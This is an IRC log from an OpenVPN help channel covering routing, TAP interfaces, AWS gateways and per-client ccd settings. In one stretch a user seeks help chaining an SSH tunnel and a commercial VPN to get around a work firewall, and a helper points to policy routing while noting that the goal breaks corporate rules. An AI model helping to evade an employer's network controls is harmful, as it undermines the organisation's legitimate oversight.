05:07 < Laverne> flxmmr: I plan on using openvpn for the same purpose. the answer listed here may help you: http://superuser.com/questions/335263/problem-playing-games-using-openvpn-that-use-broadcast-packets-other-games-work
05:07 <@vpnHelper> Title: vpn - Problem playing games using OpenVPN that use broadcast packets. Other games work, hosts can ping each other - Super User (at superuser.com)
05:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:09 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
05:09 < flxmmr> thanks for the suggestions, the metric trick is well known from hamachi and warcraft :/. looks like i have to try a bunch of mor config option combinations ;)
05:11 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
05:13 < Laverne> flxmmr: if you set up a working configuration, would you mind notifying me? perhaps we could combine ideas/efforts
05:18 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
05:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
06:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
06:14 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has quit [Ping timeout: 252 seconds]
06:31 -!- HyperGli_ [~HyperGlid@218.88.44.110] has joined #openvpn
06:35 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
06:47 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has joined #openvpn
06:55 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
07:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:20 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
07:23 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
07:32 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:36 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
07:36 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
07:40 < defswork> has there ever been any know exploits for openvpn ?
07:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
07:42 < bwallen> defswork:I'm of the mindset that all software has bugs and exploits whether they're publicly known or not
07:42 < defswork> yeah me too
07:43 < defswork> but I have a clueless idiot for a manager
07:43 < bwallen> I'm sorry to hear that
07:43 < defswork> who wants to buy solutions so he can blame vendors
07:44 < defswork> whereas I want to implement solutions that work and that require little time, effort and cost
07:44 < defswork> I've been using openvpn for nearly 10 years I'd bet
07:44 < defswork> he doesnt even know the difference between a firewall and a vpn
07:46 < defswork> I'm trying to get ok for a new server to run linux based iptables firewall on and hes totally confused
07:46 < defswork> I dont know whether to punch him or cry
07:46 < defswork> "could you update me on what your plan is for the following functionalities which are normal part of a FW (can Open VPN FW does the same next to IP blocking):"
07:46 < defswork> - Application Firewalling
07:46 < defswork> - URL filtering
07:47 < defswork> - Antivirus
07:47 < defswork> each one I bang my head on my desk
07:47 < defswork> - Intrusion prevention system
07:47 < defswork> - Intrusion detection system
07:47 < defswork> now I know hes googled a product and pasted it's feature list
07:48 < defswork> We don't need deep packet inspection
07:48 < defswork> there are no applications running on the fw
07:51 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
07:53 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
08:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
08:08 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
08:12 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
08:14 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xwkqiksmrmksgqtj] has quit [Read error: Connection reset by peer]
08:15 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nxdlfujvjoqcbmwc] has joined #openvpn
08:28 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 245 seconds]
08:43 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
08:46 -!- xbanux1 [~xbanux@115.254.75.113] has quit [Ping timeout: 256 seconds]
08:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
08:58 -!- flxmmr [~quassel@p5DE95876.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
09:07 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
09:11 < Roklobsta> interesting i had a connection issue in windows with a tap, deleted the tap, reinstalled it and openvpn worked again.  BUT the TAP interface is no longer visible in the "routing and remote access" snapin
09:11 < Roklobsta> it was there before.  WTF?
09:14 < Skapare> is openvpn using tap or tun?
09:15 < Skapare> ^your^
09:15 < Roklobsta> tap
09:15 < Roklobsta> routing ip not tunneling eth
09:16  * Skapare has zero experiance with tap and windows
09:16 < Roklobsta> it's weird, the tap interface is visible in the networking control panel but it's gone from the routing.
09:16 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:17 < Roklobsta> but i am concerned that making openvpn work again took deleting and reinstating the tap
09:19 < Skapare> so if you delete and re-install it a 2nd time you think it might fail, then a 3rd time it might work?
09:20 < Roklobsta> i have done this a few times.  i am just bothered that it didn't work until i recyled the tap
09:21 -!- julius_ [~14354s@141.41.92.122] has quit [Quit: Verlassend]
09:21 < Roklobsta> it stopped working when i added some more ports to forward onthe gateway so i wasted time trying to suss that one out but i think it was conincident
09:22 < Skapare> no idea
09:26 -!- HyperGl__ [~HyperGlid@182.149.56.1] has joined #openvpn
09:28 -!- HyperGli_ [~HyperGlid@218.88.44.110] has quit [Ping timeout: 240 seconds]
09:38  * Skapare is trying to make sure his openvpn setup keeps working as configured, even when the AWS side of it is reboot OR relaunched
09:38  * Skapare is doing more tests
09:38 < Roklobsta> same here
09:38 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
09:39 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
09:39 < Skapare> where do you have AWS instances keep their config?
09:40 < Skapare> In my case, I build a custom AMI ... plus have a file server to fetch some data for interim changes ... but it's intended to have everything in the AMI, for multiple gateways that run openvpn servers
09:40 < Skapare> each VPC subnet will have one
09:40 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
09:43  * Skapare is designing a new reconfig system for EC2 instances that uses S3 for config storage ... will require use of IAM roles and an external IP or existing gateway to access S3
09:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 260 seconds]
09:56 -!- Nooooooooob [c0f1eac9@gateway/web/cgi-irc/kiwiirc.com/ip.192.241.234.201] has joined #openvpn
09:56 < Nooooooooob> hi Guise
09:57 < Nooooooooob> I have a question... on my work I have an SSH tunnel to one of my VPS in order to access sites blocked by my firewall. I installed openvpn client on my VPS but when I connect to my server, the public IP is lost so it drops the tunnel
09:57 < Nooooooooob> how can I keep the public IP on the VPS once that I connect to the openvpn server from it and keep the public IP so I can still tunnel into my VPS
09:59 < Skapare> ok ... this is nice ... did "service openvpn restart" ... all tunnels paths lost 6 or 7 packets and came back up ... that's quick enough
09:59 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
09:59 -!- xrosnight [~quassel@116.76.169.18] has quit [Ping timeout: 240 seconds]
10:00 < Skapare> Nooooooooob: "my VPS" and "my server" are different things?
10:01 < Nooooooooob> yeah exactly
10:01 < Nooooooooob> alright it should be like this
10:01 < Skapare> well, I don't understand this topology
10:01 < Nooooooooob> the route should be like:     my computer - - > VPS - - > OpenVPN client - - > OpenVPN Server
10:02 < Skapare> where does the firewall fit into that?
10:02 < Skapare> those a 4 separate machines?
10:02 < Nooooooooob> Firewall doesn't matter :) because I bypass it once I get into the SSH tunnel on my VPS
10:03 <+pekster> Nooooooooob: Your poorly-described problem is because you're using a stupid "VPN Provider" (which we generally won't try to support here) that redirects you gateway causing the reply to get asymmetrically routed
10:03 < Skapare> you are sending everything via SSH?
10:03 <+pekster> Use policy routing, or stop redirecting the gateway
10:03 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
10:04 < Nooooooooob> mmmmm how could I do that?  the thing is that the VPS has a public IP
10:04 < Nooooooooob> so my questions is... should I edit the client configs to stop redirecting the gateway or how should I do it?
10:05 < Nooooooooob> so when I connect from the VPS to the openvpn server.... the VPS drops the connection since it drops the SSH tunnel
10:05 < Skapare> is "VPS" some outside machine you SSH to because you can't make a direct openvpn connection due to silly firewall rules?
10:05 < Nooooooooob> exactly
10:05 <+pekster> Why are you redirecting the gateway anyway?
10:05 < Skapare> so firewall matters ... though you might not be able to fix it
10:05 <+pekster> Skapare: The issue is clearly return traffic after hijacking the gateway
10:06 < Skapare> you cannot reach the internet with port 1194 ?
10:06 <+pekster> The "other firewall" box doesn't even come into play here... stop making this harder than it is
10:06 <+pekster> "my computer" isn't the VPN client Skapare
10:06 < Nooooooooob> yeah the firewall has nothing to do since I bypass it doing the SSH Tunnel to the VPS and the VPS has no firewall
10:06 <+pekster> This isn't about 1194 traffic from "behind the firewall". Your help is not helpful right now
10:06 < Skapare> pekster: whatever ... your network works, I'm sure
10:07 < Nooooooooob> It drops my ssh tunnel because I connect to the OpenVPN server through the VPS and it stops using the public IP I use to connect to it
10:07 <+pekster> Nooooooooob: Why are you running a VPN client on that host?
10:07 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:07 <+pekster> Nooooooooob: Yes, I get this. Please ignore Skapare who doesn't understand this and is making your life harder
10:08 <+pekster> Nooooooooob: So, what is your purpose of the VPN client? Is this to a VPN server *you* control?
10:08 < Nooooooooob> Pekster I don't want my traffic to be sniffed lol since the VPS is owned by a friend and I BET he will be sniffing traffic hahaha else he wouldn't be giving it to me for free lol
10:08 <+pekster> ...
10:08 < Nooooooooob> pekster:  no I do not control it... it is privateinternetaccess.com
10:08 <+pekster> Lovely. You need to learn about policy routing
10:08 <+pekster> And we don't support other people's businesses here
10:09 < Nooooooooob> yeah but by saying policy routing do you mean that on the linux box? or on the openvpn client?
10:09 <+pekster> I assume the openvpn client is a Linux box...
10:09 < Skapare> Nooooooooob: so ultimately you are going to a commercial service rather than running your own
10:09 < Nooooooooob> linux box =  VPS
10:09 <+pekster> Yes, so why "linux box or the openvpn client" ?
10:10 < Skapare> you can reach internet from VPS?  ... why not run openvpn server there?
10:10 <+pekster> You're doing a terriable job of describing your problem
10:10 < Nooooooooob> because I have no admin rights to install the openvpn client on my work computer
10:10 <+pekster> So, basically 1) you don't understand routing basics 2) you're trying to use two tunnels to violate corporate access policies, and 3) you want us to help you break the rules?
10:11 < Nooooooooob> alright let me explain.... I want to use my paid VPN (PrivateInternetAccess) ... on my work computer I have no admin rights to install the openvpn client.... so I have access to a VPS but I am affraid that if I just go tunneling on it my  traffic could be sniffeed
10:11 < Nooooooooob> sniffed*
10:11 < Skapare> Nooooooooob: I think this means you need to step back, ignore how you set it up before, describe your goals, describe your situation, and see what suggested methods come your way
10:11 < Nooooooooob> so what I was planning to do was doing:    my computer - - > SSH Tunnel to VPS -- > OpenVPN Client --> OpenVPN Server
10:11 <+pekster> The thing you need to "fix" this issue is to set up policy routing so that traffic arriving to the public IP on your VPS is routed out a unique routing table that is *not* adjusted by the /1 routes you get with --redirect-gateway
10:11 <+pekster> !lartc
10:11 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
10:12 <+pekster> There's an entire example in that guide I just linked dealing with multiple WAN uplinks
10:12 < Nooooooooob> thank you pekster
10:13 <+pekster> This doesn't really have anything to do with openvpn and everything to do with understanding how routing works
10:13 <+pekster> (your lack of fundamental knowledge here is hurting you: this is _not_ a "simple" setup)
10:13  * Skapare agrees that it has nothing to do with openvpn ... but ... could do this w/o policy routing ... because he has done so before (was not using openvpn with that)
10:14 <+pekster> Not if you wish to redirect all external traffic the VPS is sending (the vpn client), no
10:14 <+pekster> The _only_ way to avoid policy routing would be to know, in advance, every possible IP one might try and ssh in from so you could avoid using the pushed /1 routes
10:14 <+pekster> Are you actually suggesting that's the right solution here?
10:15 < Skapare> I'm not suggesting a solution, yet, until I know more details ... and since you stepped in to handle this, I won't be
10:16 <+pekster> The stop pretending you understand what the problem is and suggest policy routing isn't necessary
10:16 < Skapare> I just know I have done a thing just like this before and made it work fine ... w/o any policy routing
10:16 -!- mode/#openvpn [+o pekster] by ChanServ
10:16 <@pekster> I'm sick of your crap
10:16 <@pekster> Hush while I help someone instead of deal with you
10:17 <@pekster> Nooooooooob: The issue is that the two /1 routes you get from the provider override the 0/0 route, causing "all externally-bound traffic" to be sent via the provider's IP range and NAT'd from there. This is a problem when your ssh client (say on 203.0.113.2) tries to talk to your VPS server (say on 192.0.2.10.) The reply is sent over the VPN, NAT'd to the VPN provider's external IP range, and never comes back with the same source
10:18 -!- atmosx [~me@gateway/tor-sasl/atmosx] has quit [Ping timeout: 240 seconds]
10:19 <@pekster> Nooooooooob: To continue the example, say the external IP after any VPN-server-side-NAT is 198.51.100.25. The "reply" to your ssh traffic looks like 198.51.100.25 -> 203.0.113.2, which the ssh client was not expecting (it expected 192.0.2.10 to reply.) See the problem now?
10:19 -!- Nooooooooob [c0f1eac9@gateway/web/cgi-irc/kiwiirc.com/ip.192.241.234.201] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
10:22 < Skapare> pekster: <Nooooooooob> was probably never going to learn anything ... he needed hand holding all the way ... the "learn how all this works" approach doesn't work for people like that
10:22 -!- mode/#openvpn [-o pekster] by ChanServ
10:22 <+pekster> And failing to read/process what was said (albiet it somewhat poorly in this case) rarely helps either
10:23 < Skapare> whatever
10:23 <+pekster> Policy routing is required any time you want to route "some" packets along a certain set of routes, while "some other" packets a different way
10:24 <+rob0> What an annooooooooooooying nick!
10:24 <+pekster> That is clearly required when "anything not having arrived on the public IP of the VPS" needs to go back out that same interface
10:24 <+pekster> Erm, "anything having arrived"*
10:25  * Skapare did that kind of thing w/o policy routing and made it work ... but it's O/T here as to how that was done
10:25 -!- raidz_away is now known as raidz
10:27 <+rob0> I'd just do the ssh through the VPN. That's what I do from home. It's nice, because the ssh connection usually survives DSL modem reboots and external IP address changes.
10:27 -!- Nooooooob [c0f1eac9@gateway/web/cgi-irc/kiwiirc.com/ip.192.241.234.201] has joined #openvpn
10:27 <+pekster> rob0: VPN couldn't go out from the client in this case
10:27 < Nooooooob> I am sorry, I got disconnected
10:27 < Nooooooob> so pekster if the public IP on my VPS is 200.x.x.x how do I setup the route?
10:28 <+pekster> You've apparently failed to read any of the resource I just gave you
10:28 < Nooooooob> I did but I did not understand :(
10:28 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#lesser
10:28 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
10:29 < Nooooooob> These are the configs on the client: http://pastebin.com/c7jx7xET
10:30 <+pekster> Skapare: If you had another suggestion, feel free to see if it's relevant; fwiw, the only 2 possible ways to avoid policy routing are impractical here: 1) define a host-route to every possible external source of connection (not practical when you can't know these in advance, or if they might change) or 2) do source-NAT on data arriving on the physical uplink such that the return route is on-link and avoides the /1 routes. This is bad ...
10:30 <+pekster> ... as it hides the true source of every external connection
10:30 <+pekster> Otherwise, "most speciifc route wins" is something a first-year networking student learns, probably in the first week of class.
10:33 < Skapare> to have made another suggestion in a specific way I would need details I was not able to get ... I remain confident it is doable w/o policy routing but acknowledge that policy routing in many of these cases may be a better approach ... but without getting the details, I won't know
10:33 <+pekster> It simply doesn't work without policy routing
10:33 <+pekster> How else to you route back to an arbitrary, not-known-in-advnace public IP that avoides the matching 1/ route?
10:34 < Skapare> this is not the first "it won't work" thing you have said for something I have made work
10:34 < Nooooooob> the public IP is the one I use to access the VPN
10:34 < Nooooooob> sorry
10:34 < Nooooooob> the VPS
10:35 <+pekster> I rarely say things won't work. Tred carefully, for it seems you're here for the sake or arguing and nothing else at present. That's not a very positive attitude to have on IRC.
10:35 <+pekster> Nooooooob: Right, did you see my description of your issue above?
10:35 <+pekster> Did you read and undersatnd it?
10:35 <+pekster> If not, did you read that link I just sent you explaining what to do if you don't understand it?
10:36 < Nooooooob> yeah
10:36 < Nooooooob> but I don't know what info I need to send you guys
10:36 < Nooooooob> so you could help me... I am a total noob.. I just know some pretty basic stuff
10:36 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#idp5140624
10:36 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
10:38 <+pekster> The reality here is that your setup is not basic, and if you are not willing to learn advanced routing concepts you won't be able to get what you want
10:39 < Nooooooob> I can go ahead and learning but I don't know where to start with the info I have
10:40 < Nooooooob> I can go ahead and send you my routing tables on the VPS
10:40 < Nooooooob> I could go ahead and send you the configs on the openvpn client
10:40 < Nooooooob> and so on
10:40 < Nooooooob> just tell me what do you need
10:41 <+pekster> I don't need anything: you need to understand the problem and options availalbe for you to solve them
10:41 < Nooooooob> I understand that the 0 route disappears and it takes the route sent by the server
10:41 < Nooooooob> but I don't know how to keep the public IP in order for the tunnel to remain up
10:42 <+pekster> You still have the public IP: it hasn't gone anywhere, but it is no longer used to reply to external (non-local) IPs
10:44 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has quit [Remote host closed the connection]
10:45 <+pekster> Chapter 4 in the LARTC guide you received introduces you to split-access; you want to "split" where traffic goes: ssh traffic (or anything arriving on the "real" IP of your VPS) goes back out on that interface. In fact, that's one of the common configurations in that document, and why I keep suggesting you read it
10:46 < Nooooooob> cool I am still reading it
10:46 < Nooooooob> thank you pekster
10:49 < Nooooooob> I did read it but still not understanding... as I told you my knowledge on networking is not that good
10:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
11:03 -!- thesov [~TheSov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Remote host closed the connection]
11:07 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
11:13 -!- Rory [~rory@irc.rory.sh] has joined #openvpn
11:36 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
11:36 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
11:39 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
11:40 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
11:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
12:02 -!- Cubox [cubox@unaffiliated/cubox] has quit [Quit: Reboot o/]
12:07 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
12:10 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
12:13 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
12:21 -!- trumee [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
12:26 -!- trumee [~parul@93.186.147.20] has joined #openvpn
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:30 -!- TheSov [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
12:37 -!- HyperGl__ [~HyperGlid@182.149.56.1] has quit [Remote host closed the connection]
12:37 -!- HyperGli_ [~HyperGlid@182.149.56.1] has joined #openvpn
12:39 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
12:42 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
12:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
12:54 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
13:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
13:08 -!- raidz is now known as raidz_away
13:14 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-nxdlfujvjoqcbmwc] has quit [Quit: Leaving]
13:24 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has joined #openvpn
13:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:26 < Skapare> is there any way at all, on a server getting many client connections, to do a route statement in a client specific context (--client-config-dir) ?
13:29 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:34 <+pekster> Skapare: Use --client-connect since --route isn't valid in a ccd file context. Normally, when the VPN server routes to a LAN behind a client, you want the kernel to have the route always
13:35 <+pekster> In rare cases with dynamic routing (BGP or OSPF primarily) this is undesirable, but generally people using complex solutions like that prefer to use the existing dynamic routing infrastructure to manage routes anyway
13:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
13:36 -!- Devastator [~devas@186.214.14.178] has joined #openvpn
13:36 -!- Devastator [~devas@186.214.14.178] has quit [Changing host]
13:36 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:39 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
13:41 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
13:43 -!- aegis [~aegis@184.75.223.34] has quit [Read error: Operation timed out]
13:45 < Skapare> pekster: yes the kernel would have the route ... but why is route not valid in that context ... if it is a route statement, it should be setting it up in the kernel route table regardless
13:45 <+pekster> It's not valid becuase people often change user/group ID and/or chroot
13:45 < Skapare> not talking about iroute
13:46 <+pekster> It's obviously not possible to add a route when you no longer have root permission, and this is a non-standard thing to want anyway
13:46 <+pekster> Thus the proper thing to do when using static routes is to put the --route statement in the main config, and the --iroute in the ccd (or via --client-connect script exported to the temp file it creates)
13:47 <+pekster> If your needs are not met with static routing, presumably you know what the rest of your infra requires
13:48 < Skapare> so --client-connect will run as root?
13:48 <+pekster> It runs in the context of the running openvpn process
13:48 <+pekster> (which might not be root if you changed permission, and will also run in the chroot dir if you use one)
13:49 <+pekster> Solutions include not dropping root permission, using a suid binary, or elevation techniques like sudo
13:49 < Skapare> or using more static IPs
13:50 <+pekster> static IPs have nothing to do with interacting with the routing subsystem, no
13:50 <+pekster> --route is merely a semantic to modify the kernel's routing table when openvpn starts up; --iroute tells openvpn which connected client handles a particular route
13:50 < Skapare> except that with static routes, you can do them outside of the context of knowing anything in openvpn
13:51 < Skapare> I mean static IPs
13:51 <+pekster> Not in tun; the kernel will drop traffic arriving from a client if it isn't expecting that client to source from that IP
13:51 <+pekster> s/the kernel/openvpn/
13:51 < Skapare> when the server starts getting multiple clients connecting, the issue will be clients can get different IPs ... hopefully the iroute will be sufficient for that
13:52 <+pekster> --iroute binds the defined route in the satement to the client that has just connected, yes; this is routed via whatever IP the client was assigned
13:53 <+pekster> If it had 203.0.113.10, then disconnected, reconnected, and picked up 203.0.113.11 next time, the --iroute dynamically handles this
13:53 < Skapare> but is that all I need to get that done right?  I don't need to use those IPs anywhere else?
13:53 <+pekster> What IPs?
13:54 < Skapare> these IPs ... "<+pekster> If it had 203.0.113.10, then disconnected, reconnected, and picked up 203.0.113.11 next time, the --iroute dynamically handles this"
13:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
13:54 <+pekster> Sure, if that client (call it 'c1') has LAN 10.20.30/24 behind it, `--route 10.20.30.0 255.255.255.0` in the main config and `--iroute 10.20.30.0 255.255.255.0` in the ccd is all you need
13:55 <+pekster> Put that in /somewhere/ccd/c1 (the --iroute bit) and it all just works
13:55 < Skapare> but it may be better to make those IPs static, anyway, for other stuff outside of openvpn to know what it is edaling with, like rules to match IPs
13:55 <+pekster> Sure, if you'd like
13:56 < Skapare> that's what I'm trying to figure out if I need ... it's more work so if I don't need it that saves time not to ... but I'm thinking I probably do
13:56 < Skapare> then I would have to assign an IP for each client
13:57 <+pekster> It doesn't matter to openvpn if you do that or not
13:57  * pekster leaves this as an excersize for the reader to figure out
13:57 < Skapare> and doing it does not need anything more in openvpn than actually putting the assignment in each ccd/client context?
13:58 <+pekster> Well, assuming you have all the other requirements met, yes
13:58 <+pekster> !clientlan
13:58 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
13:58 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
13:59 < Skapare> this isn't about a LAN behind a client ... but rather, the client end of the tunnel itself ... because connections from the client host would be using that tun interface address, be it dyanamic or static
14:00 < Skapare> although a LAN behind a client certainly needs to be routed right
14:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:00 <+pekster> huh? Why are you trying to put --route in a ccd entry if that client doesn't have a network behind it you're trying to expose?
14:01 <+pekster> I think you're confused about what a ccd is used for if you don't have a client LAN
14:02 <+pekster> If you "just" care about the IP a client gets, this is determined as follows:
14:02 <+pekster> !iporder
14:02 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
14:04 < Skapare> pekster: the --route *is* for a LAN ... the use of static IPs for clients does not involve that
14:04 < Skapare> pekster: there's more than one issue going on
14:06 < Skapare> I can't just use --ifconfig in the ccd context?
14:06 <+pekster> Read !static more carefully: sounds like you want --ifconfig-push
14:06 <+pekster> No, you cannot assign the *server* IP when a *client* connects -- that's silly
14:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:07 <+pekster> --ifconfig is for configuring the local networking side, not a remote client
14:07 < Skapare> and it would not know that being in a client specific context it's for the client side?
14:08 <+pekster> Becuase "--iroute" for instance is _not_ "for" the client
14:08 <+pekster> It's for the server to modify the internal routing table of openvpn
14:08 <+pekster> Thus "not everything in the ccd file is sent verbatim to the client." Please consult the manpage for details
14:08 <+pekster> Or !static, or any of the other resources you haven't
14:08 < Skapare> I though the "i" in --iroute meant internal
14:08 < Skapare> +t
14:08 <@plaisthos> it does
14:09 <@plaisthos> Generate an internal route to a  specific  client.
14:09 <+pekster> Indeed; you seemed to suggest that everything in the ccd file shoudl magically be marshaled to the client verbatim, which is simply not how it works. This is why you need to declare a --push statement when pushing routes, for instance
14:09 <+pekster> Here's a line from a ccd file for a client I'm doing some work for rigiht now:
14:09 <+pekster> push "route 10.227.10.0 255.255.255.0"
14:09 <+pekster> Note how I need the `push` directive, even though this is in a ccd file
14:10 <+pekster> When the client sends a PUSH_REQUEST, the server takes everything that has been pushed (routes, ifconfig-push statements, etc) and sends it back in a PUSH_REPLY message
14:10 -!- Nooooooob [c0f1eac9@gateway/web/cgi-irc/kiwiirc.com/ip.192.241.234.201] has left #openvpn []
14:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
14:12 < Skapare> but there's no simpler way in the ccd context to set the tunnel IP addresses for the server to client tunnel besides those 2 in !iporder?
14:13 <+pekster> You want what, exactly? To set the server's IP, or define a static IP for your client that it reeives on-connect?
14:13 < Skapare> "define a static IP for your client that it reeives on-connect"
14:14 < Skapare> instead of dynamic IPs for each tunnel, static ... decided by the server
14:15 <+pekster> The server always decides the IP the client gets in tun
14:16 <+pekster> How you assign that IP is up to you: you can use any of the !iporder options to make a selection, and can vary them on a per-client basis
14:16 < Skapare> I thought that was the case ... so how to make this easier so it can just be an IP coded at the server separate for each client (like maybe in each client's ccd file)
14:16 <+pekster> --ifconfig-push
14:16 <+pekster> Like I've told you about 3 times now
14:17 <+pekster> If you put this in ccd/c1, then when c1 connects, it gets the listed IP:
14:17 <+pekster> --ifconfig-push 10.20.30.6 255.255.255.0
14:17 <+pekster> (assuming a subnet topology)
14:17 <+pekster> Manpage has details for you
